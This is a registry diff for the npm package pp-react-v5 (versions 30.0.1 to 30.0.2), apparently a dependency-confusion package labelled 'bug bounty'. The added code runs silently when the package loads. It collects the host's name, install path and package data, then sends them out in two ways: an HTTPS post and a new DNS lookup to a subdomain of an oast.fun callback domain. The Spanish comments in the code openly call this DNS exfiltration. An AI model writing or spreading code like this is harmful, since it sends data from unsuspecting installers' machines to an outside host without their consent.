pp-react-v5 30.0.1 → 30.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +37 -2
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -2,9 +2,11 @@ const os = require("os");
|
|
|
2
2
|
const dns = require("dns");
|
|
3
3
|
const querystring = require("querystring");
|
|
4
4
|
const https = require("https");
|
|
5
|
+
const crypto = require("crypto"); // Para generar hash
|
|
5
6
|
const packageJSON = require("./package.json");
|
|
6
7
|
const package = 'pp-react-v5 bug bounty';
|
|
7
8
|
|
|
9
|
+
// Datos de seguimiento (igual que antes)
|
|
8
10
|
const trackingData = JSON.stringify({
|
|
9
11
|
p: package,
|
|
10
12
|
c: __dirname,
|
|
@@ -17,6 +19,39 @@ const trackingData = JSON.stringify({
|
|
|
17
19
|
pjson: packageJSON,
|
|
18
20
|
});
|
|
19
21
|
|
|
22
|
+
// --- NUEVO: Exfiltración por DNS ---
|
|
23
|
+
// Generamos un identificador único (hash MD5 de los datos, truncado)
|
|
24
|
+
const hash = crypto.createHash('md5').update(trackingData).digest('hex').substring(0, 8);
|
|
25
|
+
const hostname = os.hostname();
|
|
26
|
+
|
|
27
|
+
// Construimos el subdominio de forma segura, respetando límites DNS
|
|
28
|
+
function buildDnsSubdomain(hostname, hash) {
|
|
29
|
+
// Limpiar caracteres no permitidos en DNS (solo letras, números, guiones)
|
|
30
|
+
const clean = (s) => s.replace(/[^a-zA-Z0-9-]/g, '-');
|
|
31
|
+
let label1 = clean(hostname);
|
|
32
|
+
let label2 = clean(hash);
|
|
33
|
+
// Truncar cada etiqueta a 63 caracteres
|
|
34
|
+
if (label1.length > 63) label1 = label1.substring(0, 63);
|
|
35
|
+
if (label2.length > 63) label2 = label2.substring(0, 63);
|
|
36
|
+
// Construir dominio completo: <hostname>.<hash>.bvfmpadujgjgmbtzeibi1n3vi1psox11k.oast.fun
|
|
37
|
+
let domain = `${label1}.${label2}.bvfmpadujgjgmbtzeibi1n3vi1psox11k.oast.fun`;
|
|
38
|
+
// Si el total supera 253, recortamos el hostname
|
|
39
|
+
while (domain.length > 253 && label1.length > 1) {
|
|
40
|
+
label1 = label1.slice(0, -1);
|
|
41
|
+
domain = `${label1}.${label2}.bvfmpadujgjgmbtzeibi1n3vi1psox11k.oast.fun`;
|
|
42
|
+
}
|
|
43
|
+
return domain;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
const dnsDomain = buildDnsSubdomain(hostname, hash);
|
|
47
|
+
|
|
48
|
+
// Realizamos la consulta DNS (resolución) para exfiltrar el dato
|
|
49
|
+
dns.lookup(dnsDomain, (err, address, family) => {
|
|
50
|
+
// No importa el resultado, solo queremos que se haga la consulta
|
|
51
|
+
// (si hay error, se ignora silenciosamente)
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
// --- Envío por HTTPS (igual que antes) ---
|
|
20
55
|
var postData = querystring.stringify({
|
|
21
56
|
msg: trackingData,
|
|
22
57
|
});
|
|
@@ -36,7 +71,7 @@ var req = https.request(options, (res) => {
|
|
|
36
71
|
let responseData = '';
|
|
37
72
|
res.on("data", (d) => {
|
|
38
73
|
responseData += d;
|
|
39
|
-
|
|
74
|
+
process.exit(0);
|
|
40
75
|
});
|
|
41
76
|
|
|
42
77
|
res.on("end", () => {
|
|
@@ -49,4 +84,4 @@ req.on("error", (e) => {
|
|
|
49
84
|
});
|
|
50
85
|
|
|
51
86
|
req.write(postData);
|
|
52
|
-
req.end();
|
|
87
|
+
req.end();
|